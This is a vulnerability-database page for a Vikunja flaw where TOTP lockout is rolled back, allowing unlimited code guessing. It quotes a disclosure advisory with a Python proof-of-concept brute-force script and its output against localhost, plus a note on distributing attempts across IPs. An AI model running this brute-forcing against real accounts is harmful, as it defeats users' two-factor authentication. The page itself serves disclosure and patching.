Every CVE Search/ Get API key

CVE-2026-35597

Vikunja Affected by TOTP Brute-Force Due to Non-Functional Account Lockout

5.9 MediumFix available

Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the TOTP failed-attempt lockout mechanism is non-functional due to a database transaction handling bug. When a TOTP validation fails, the login handler in pkg/routes/api/v1/login.go calls HandleFailedTOTPAuth and then unconditionally rolls back. HandleFailedTOTPAuth in pkg/user/totp.go uses an in-memory counter (key-value store) to track failed attempts. When the counter reaches 10, it calls user.SetStatus(s, StatusAccountLocked) on the same database session s. Because the login handler always rolls back after a TOTP failure, the StatusAccountLocked write is undone. The in-memory counter correctly increments past 10, so the lockout code executes on every subsequent attempt, but the database write is rolled back every time. This allows unlimited brute-force attempts against TOTP codes. This vulnerability is fixed in 2.3.0.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
High
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
None
Availability
None

Exploit likelihood

0.31%Up 0.3 points since Apr 11, 2026
90%50%10%1%

What each source reports

CVE List Score used 5.9

Vikunja Affected by TOTP Brute-Force Due to Non-Functional Account Lockout

Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the TOTP failed-attempt lockout mechanism is non-functional due to a database transaction handling bug. When a TOTP validation fails, the login handler in pkg/routes/api/v1/login.go calls HandleFailedTOTPAuth and then unconditionally rolls back. HandleFailedTOTPAuth in pkg/user/totp.go uses an in-memory counter (key-value store) to track failed attempts. When the counter reaches 10, it calls user.SetStatus(s, StatusAccountLocked) on the same database session s. Because the login handler always rolls back after a TOTP failure, the StatusAccountLocked write is undone. The in-memory counter correctly increments past 10, so the lockout code executes on every subsequent attempt, but the database write is rolled back every time. This allows unlimited brute-force attempts against TOTP codes. This vulnerability is fixed in 2.3.0.

Record
CVE-2026-35597
CVSS 3.1
5.9 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-307
Updated
2026-11-02
EUVDEUVD-2026-21422 5.9

Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the TOTP failed-attempt lockout mechanism is non-functional due to a database transaction handling bug. When a TOTP validation fails, the login handler in pkg/routes/api/v1/login.go calls HandleFailedTOTPAuth and then unconditionally rolls back. HandleFailedTOTPAuth in pkg/user/totp.go uses an in-memory counter (key-value store) to track failed attempts. When the counter reaches 10, it calls user.SetStatus(s, StatusAccountLocked) on the same database session s. Because the login handler always rolls back after a TOTP failure, the StatusAccountLocked write is undone. The in-memory counter correctly increments past 10, so the lockout code executes on every subsequent attempt, but the database write is rolled back every time. This allows unlimited brute-force attempts against TOTP codes. This vulnerability is fixed in 2.3.0.

Record
EUVD-2026-21422
CVSS 3.1
5.9 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-fgfv-pv97-6cmj 5.9

Vikunja Vulnerable to TOTP Brute-Force Due to Non-Functional Account Lockout

Summary

The TOTP failed-attempt lockout mechanism is non-functional due to a database transaction handling bug. The account lock is written to the same database session that the login handler always rolls back on TOTP failure, so the lockout is triggered but never persisted. This allows unlimited brute-force attempts against TOTP codes.

Details

When a TOTP validation fails, the login handler at pkg/routes/api/v1/login.go:95-101 calls HandleFailedTOTPAuth and then unconditionally rolls back:

if err != nil {
    if user2.IsErrInvalidTOTPPasscode(err) {
        user2.HandleFailedTOTPAuth(s, user)
    }
    _ = s.Rollback()
    return err
}

HandleFailedTOTPAuth at pkg/user/totp.go:201-247 uses an in-memory counter (key-value store) to track failed attempts. When the counter reaches 10, it calls user.SetStatus(s, StatusAccountLocked) on the same database session s. Because the login handler always rolls back after a TOTP failure, the StatusAccountLocked write is undone.

The in-memory counter correctly increments past 10, so the lockout code executes on every subsequent attempt, but the database write is rolled back every time.

Proof of Concept

Tested on Vikunja v2.2.2. Requires pyotp (pip install pyotp).

import requests, time, pyotp

TARGET = "http://localhost:3456"
API = f"{TARGET}/api/v1"

def h(token):
    return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}

# setup: login, enroll and enable TOTP
token = requests.post(f"{API}/login",
    json={"username": "totp_user", "password": "TotpUser1!"}).json()["token"]
secret = requests.post(f"{API}/user/settings/totp/enroll", headers=h(token)).json()["secret"]
totp = pyotp.TOTP(secret)
requests.post(f"{API}/user/settings/totp/enable", headers=h(token),
              json={"passcode": totp.now()})

# send 9 failed attempts (rate limit is 10/min)
for i in range(1, 10):
    r = requests.post(f"{API}/login",
        json={"username": "totp_user", "password": "TotpUser1!", "totp_passcode": "000000"})
    print(f"Attempt {i}: {r.status_code} code={r.json().get('code')}")

# wait for rate limit reset, send 3 more (past the 10-attempt lockout threshold)
time.sleep(65)
for i in range(10, 13):
    r = requests.post(f"{API}/login",
        json={"username": "totp_user", "password": "TotpUser1!", "totp_passcode": "000000"})
    print(f"Attempt {i}: {r.status_code} code={r.json().get('code')}")

# wait for rate limit, try with valid TOTP
time.sleep(65)
r = requests.post(f"{API}/login",
    json={"username": "totp_user", "password": "TotpUser1!", "totp_passcode": totp.now()})
print(f"Valid TOTP login: {r.status_code}")  # 200 - account was never locked

Output:

Attempt 1: 412 code=1017
...
Attempt 9: 412 code=1017
Attempt 10: 412 code=1017
Attempt 11: 412 code=1017
Attempt 12: 412 code=1017
Valid TOTP login: 200

The account was never locked despite exceeding the 10-attempt threshold. The per-IP rate limit of 10 requests/minute requires spacing attempts, but an attacker with multiple source IPs can parallelize.

Impact

An attacker who has obtained a user's password (via phishing, credential stuffing, or database breach) can bypass TOTP two-factor authentication by brute-forcing 6-digit codes. The intended account lockout after 10 failed attempts never takes effect. While per-IP rate limiting provides friction, a distributed attacker can exhaust the TOTP code space.

Recommended Fix

Have HandleFailedTOTPAuth create and commit its own independent database session for the lockout operation:

// Use a new session so the lockout persists regardless of caller's rollback
lockoutSession := db.NewSession()
defer lockoutSession.Close()
err = user.SetStatus(lockoutSession, StatusAccountLocked)
if err != nil {
    _ = lockoutSession.Rollback()
    return
}
_ = lockoutSession.Commit()

Found and reported by aisafe.io

Record
GHSA-fgfv-pv97-6cmj
CVSS 3.1
5.9 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-307
Updated
2026-11-02
NVD 5.9

Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the TOTP failed-attempt lockout mechanism is non-functional due to a database transaction handling bug. When a TOTP validation fails, the login handler in pkg/routes/api/v1/login.go calls HandleFailedTOTPAuth and then unconditionally rolls back. HandleFailedTOTPAuth in pkg/user/totp.go uses an in-memory counter (key-value store) to track failed attempts. When the counter reaches 10, it calls user.SetStatus(s, StatusAccountLocked) on the same database session s. Because the login handler always rolls back after a TOTP failure, the StatusAccountLocked write is undone. The in-memory counter correctly increments past 10, so the lockout code executes on every subsequent attempt, but the database write is rolled back every time. This allows unlimited brute-force attempts against TOTP codes. This vulnerability is fixed in 2.3.0.

Record
CVE-2026-35597
CVSS 3.1
5.9 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-307
Updated
2026-11-02
OSV 5.9

Vikunja Affected by TOTP Brute-Force Due to Non-Functional Account Lockout

Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the TOTP failed-attempt lockout mechanism is non-functional due to a database transaction handling bug. When a TOTP validation fails, the login handler in pkg/routes/api/v1/login.go calls HandleFailedTOTPAuth and then unconditionally rolls back. HandleFailedTOTPAuth in pkg/user/totp.go uses an in-memory counter (key-value store) to track failed attempts. When the counter reaches 10, it calls user.SetStatus(s, StatusAccountLocked) on the same database session s. Because the login handler always rolls back after a TOTP failure, the StatusAccountLocked write is undone. The in-memory counter correctly increments past 10, so the lockout code executes on every subsequent attempt, but the database write is rolled back every time. This allows unlimited brute-force attempts against TOTP codes. This vulnerability is fixed in 2.3.0.

Record
CVE-2026-35597
CVSS 3.1
5.9 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-307
Updated
2026-11-02
OSVGHSA-fgfv-pv97-6cmj 5.9

Vikunja Vulnerable to TOTP Brute-Force Due to Non-Functional Account Lockout

Summary

The TOTP failed-attempt lockout mechanism is non-functional due to a database transaction handling bug. The account lock is written to the same database session that the login handler always rolls back on TOTP failure, so the lockout is triggered but never persisted. This allows unlimited brute-force attempts against TOTP codes.

Details

When a TOTP validation fails, the login handler at pkg/routes/api/v1/login.go:95-101 calls HandleFailedTOTPAuth and then unconditionally rolls back:

if err != nil {
    if user2.IsErrInvalidTOTPPasscode(err) {
        user2.HandleFailedTOTPAuth(s, user)
    }
    _ = s.Rollback()
    return err
}

HandleFailedTOTPAuth at pkg/user/totp.go:201-247 uses an in-memory counter (key-value store) to track failed attempts. When the counter reaches 10, it calls user.SetStatus(s, StatusAccountLocked) on the same database session s. Because the login handler always rolls back after a TOTP failure, the StatusAccountLocked write is undone.

The in-memory counter correctly increments past 10, so the lockout code executes on every subsequent attempt, but the database write is rolled back every time.

Proof of Concept

Tested on Vikunja v2.2.2. Requires pyotp (pip install pyotp).

import requests, time, pyotp

TARGET = "http://localhost:3456"
API = f"{TARGET}/api/v1"

def h(token):
    return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}

# setup: login, enroll and enable TOTP
token = requests.post(f"{API}/login",
    json={"username": "totp_user", "password": "TotpUser1!"}).json()["token"]
secret = requests.post(f"{API}/user/settings/totp/enroll", headers=h(token)).json()["secret"]
totp = pyotp.TOTP(secret)
requests.post(f"{API}/user/settings/totp/enable", headers=h(token),
              json={"passcode": totp.now()})

# send 9 failed attempts (rate limit is 10/min)
for i in range(1, 10):
    r = requests.post(f"{API}/login",
        json={"username": "totp_user", "password": "TotpUser1!", "totp_passcode": "000000"})
    print(f"Attempt {i}: {r.status_code} code={r.json().get('code')}")

# wait for rate limit reset, send 3 more (past the 10-attempt lockout threshold)
time.sleep(65)
for i in range(10, 13):
    r = requests.post(f"{API}/login",
        json={"username": "totp_user", "password": "TotpUser1!", "totp_passcode": "000000"})
    print(f"Attempt {i}: {r.status_code} code={r.json().get('code')}")

# wait for rate limit, try with valid TOTP
time.sleep(65)
r = requests.post(f"{API}/login",
    json={"username": "totp_user", "password": "TotpUser1!", "totp_passcode": totp.now()})
print(f"Valid TOTP login: {r.status_code}")  # 200 - account was never locked

Output:

Attempt 1: 412 code=1017
...
Attempt 9: 412 code=1017
Attempt 10: 412 code=1017
Attempt 11: 412 code=1017
Attempt 12: 412 code=1017
Valid TOTP login: 200

The account was never locked despite exceeding the 10-attempt threshold. The per-IP rate limit of 10 requests/minute requires spacing attempts, but an attacker with multiple source IPs can parallelize.

Impact

An attacker who has obtained a user's password (via phishing, credential stuffing, or database breach) can bypass TOTP two-factor authentication by brute-forcing 6-digit codes. The intended account lockout after 10 failed attempts never takes effect. While per-IP rate limiting provides friction, a distributed attacker can exhaust the TOTP code space.

Recommended Fix

Have HandleFailedTOTPAuth create and commit its own independent database session for the lockout operation:

// Use a new session so the lockout persists regardless of caller's rollback
lockoutSession := db.NewSession()
defer lockoutSession.Close()
err = user.SetStatus(lockoutSession, StatusAccountLocked)
if err != nil {
    _ = lockoutSession.Rollback()
    return
}
_ = lockoutSession.Commit()

Found and reported by aisafe.io

Record
GHSA-fgfv-pv97-6cmj
CVSS 3.1
5.9 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-307
Updated
2026-11-02
OSVGO-2026-5362 No score

Vikunja Vulnerable to TOTP Brute-Force Due to Non-Functional Account Lockout in code.vikunja.io/api

Vikunja Vulnerable to TOTP Brute-Force Due to Non-Functional Account Lockout in code.vikunja.io/api.

NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.

(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)

The additional affected modules and versions are: code.vikunja.io/api before v2.3.0.

Record
GO-2026-5362
Updated
2026-11-02
OSVopenSUSE-SU-2026:21483-1 No score

Security update for govulncheck-vulndb

This update for govulncheck-vulndb fixes the following issues:

  • Update to version 0.0.20260723T184607 2026-07-23T18:46:07Z (jsc#PED-11136).

Go CVE Numbering Authority IDs added or updated with aliases:

  • GO-2026-4730 CVE-2026-33022 GHSA-cv4x-93xx-wgfj
  • GO-2026-4761 CVE-2026-33211 GHSA-j5q5-j9gm-2w5c
  • GO-2026-5102 CVE-2026-45021 GHSA-3vcp-chfh-f6r2
  • GO-2026-5272 CVE-2026-40938 GHSA-94jr-7pqp-xhcq
  • GO-2026-5486 CVE-2026-40924 GHSA-m2cx-gpqf-qf74
  • GO-2026-5542 CVE-2026-40090 GHSA-pj97-4p9w-gx3q
  • GO-2026-5630 CVE-2026-25542 GHSA-rmx9-2pp3-xhcr
  • GO-2026-5643 CVE-2026-40923 GHSA-rx35-6rhx-7858
  • GO-2026-5675 CVE-2026-41492 GHSA-vvf7-6rmr-m29q
  • GO-2026-5711 CVE-2026-40161 GHSA-wjxp-xrpv-xpff
  • GO-2026-5746 CVE-2026-41567 GHSA-x86f-5xw2-fm2r
  • GO-2026-5749 CVE-2026-41328 GHSA-x92x-px7w-4gx4
  • GO-2026-5837 CVE-2026-44840 GHSA-q2m9-6jp9-c6mc
  • GO-2026-5929 CVE-2026-44342 GHSA-26v7-h57m-gh9m
  • GO-2026-5930 CVE-2026-33655 GHSA-6qcr-qxgr-m7fv
  • GO-2026-5933 GHSA-3g4q-2f67-2gvh
  • GO-2026-5934 GHSA-59qp-cfj3-rp64
  • GO-2026-5935 GHSA-7856-g3gv-9wq8
  • GO-2026-5936 CVE-2026-53552 GHSA-26rh-24rg-j3vv
  • GO-2026-5937 CVE-2026-53508 GHSA-2jcc-mxv7-p3f9
  • GO-2026-5938 CVE-2026-53553 GHSA-4g5x-hcwm-82jw
  • GO-2026-5939 CVE-2026-10517 GHSA-698x-9w2p-7vvp
  • GO-2026-5940 CVE-2026-53572 GHSA-6w3m-4hhp-775q
  • GO-2026-5941 CVE-2026-53487 GHSA-gvhc-wv3v-7pf8
  • GO-2026-5942 CVE-2026-46600
  • GO-2026-5944 CVE-2026-50197 GHSA-659f-rgp5-w4wf
  • GO-2026-5945 CVE-2026-6815 GHSA-rmxx-v9rj-vpvg
  • GO-2026-5946 CVE-2026-52831 GHSA-v5px-423j-pf7p
  • GO-2026-5947 CVE-2026-53649 GHSA-xqhv-chqm-fhcc
  • GO-2026-5948 CVE-2026-50554 GHSA-588f-fvcv-xhvf
  • GO-2026-5949 CVE-2026-50553 GHSA-rqrh-8wpv-x7hh
  • GO-2026-5950 CVE-2026-53602 GHSA-339v-266x-79xr
  • GO-2026-5951 CVE-2026-10219 GHSA-6jm8-4fhr-5w64
  • GO-2026-5952 CVE-2026-49834 GHSA-9vcr-p3rj-q5q6
  • GO-2026-5953 CVE-2026-9094 GHSA-c9w5-qp6m-m395
  • GO-2026-5956 CVE-2026-55252 GHSA-h5g6-xmh4-hc37
  • GO-2026-5957 CVE-2026-54158 GHSA-5xfx-xj4h-5p7r
  • GO-2026-5958 CVE-2026-54068 GHSA-gcm7-57gf-953c
  • GO-2026-5959 CVE-2026-54072 GHSA-h29v-hj44-q8cv
  • GO-2026-5961 CVE-2026-54069 GHSA-hvr9-72v2-fff3
  • GO-2026-5962 CVE-2026-54088 GHSA-m93h-4hw7-5qcm
  • GO-2026-5963 CVE-2026-54067 GHSA-mvjr-vv3c-w4qv
  • GO-2026-5964 CVE-2026-54066 GHSA-p4m3-mgmm-c664
  • GO-2026-5965 CVE-2026-54070 GHSA-w7cg-whh7-xp28
  • GO-2026-5966 CVE-2026-54089 GHSA-xqp3-jq6g-x3qm
  • GO-2026-5967 CVE-2026-50551 GHSA-56mp-4f3v-fgj2
  • GO-2026-5968 CVE-2026-54174 GHSA-fpg8-7664-jc5q
  • GO-2026-5969 GHSA-g936-7jqj-mwv8
  • GO-2026-5970 CVE-2026-56852
  • GO-2026-5973 CVE-2026-54250 GHSA-jxr7-mqhw-9p98
  • GO-2026-5974 CVE-2026-44300 GHSA-wmj8-9953-vff5
  • GO-2026-5975 CVE-2026-50018 GHSA-42j2-w334-qxw7
  • GO-2026-5976 CVE-2026-50141 GHSA-g7mm-9vx7-jm7h
  • GO-2026-5977 CVE-2026-50013 GHSA-qrh4-p6v4-mrfg
  • GO-2026-5978 CVE-2026-50125 GHSA-qw5r-ppcg-f8rj
  • GO-2026-5979 CVE-2026-50006 GHSA-xrcf-6jh3-ggvx
  • GO-2026-5980 CVE-2026-50158 GHSA-2c7f-fxww-6w6c
  • GO-2026-5981 GHSA-mqxv-9rm6-w8qc
  • GO-2026-5982 GHSA-pqg7-v6wh-3pfp
  • GO-2026-5984 CVE-2026-53604 GHSA-2p2f-px33-4vv5
  • GO-2026-5985 GHSA-7rx3-5wx3-5v76
  • GO-2026-5986 CVE-2026-61699 GHSA-cm26-5974-52h8
  • GO-2026-5987 CVE-2026-55513 GHSA-g4x6-jcvr-9m3g
  • GO-2026-5988 CVE-2026-54628 GHSA-hwrq-8wxh-q4xv
  • GO-2026-5989 CVE-2026-55512 GHSA-m3cx-mwpg-32jg
  • GO-2026-5990 CVE-2026-54629 GHSA-mf78-3rpf-r784
  • GO-2026-5991 CVE-2026-53603 GHSA-q4vm-pq3q-8wgq
  • GO-2026-5992 CVE-2026-61549 GHSA-qf34-295c-26v8
  • GO-2026-5996 CVE-2026-54450 GHSA-pph6-vfjv-vpjw
  • GO-2026-5997 CVE-2026-54452 GHSA-xgch-x3mx-cm3c
  • GO-2026-5998 CVE-2026-54495 GHSA-398h-7f66-3h4p
  • GO-2026-5999 CVE-2026-10814 GHSA-jh6h-v6mp-h22v
  • GO-2026-6002 CVE-2026-58196 GHSA-pr64-jmmf-jp54
  • GO-2026-6003 CVE-2026-53714 GHSA-22xc-xg2r-9j7v
  • GO-2026-6004 CVE-2026-52833 GHSA-3v79-m2cg-89ww
  • GO-2026-6005 CVE-2026-53715 GHSA-8fv2-88gg-hm7q
  • GO-2026-6006 CVE-2026-53716 GHSA-cxpq-8v7q-cg56 *…
Record
openSUSE-SU-2026:21483-1
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
code.vikunja.io/api
Go
 through 2.2.2
2.3.0
code.vikunja.io/api
Go
 before 2.3.0
2.3.0
code.vikunja.io/api
Go
 All versions None known
govulncheck-vulndb
openSUSE:Leap 16.0
From an advisory covering 1734 CVEs
 before 0.0.20260723T184607-160000.1.1
0.0.20260723T184607-160000.1.1

History

History
RecordedChangedSources
affected, facts
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-35597 is a medium vulnerability (CVSS 5.9) in Go-vikunja Vikunja, published April 10, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.31%, the 23rd percentile. Fixed in code.vikunja.io/api 2.3.0.

References

Show 194 moreShow less
This page doesn't list everything

Left out here: 1,542 references and the rest of 1 source description. The JSON record has them.

Pages All vulnerabilities Browse Docs Sources Guide Get API key
MoveEnter Open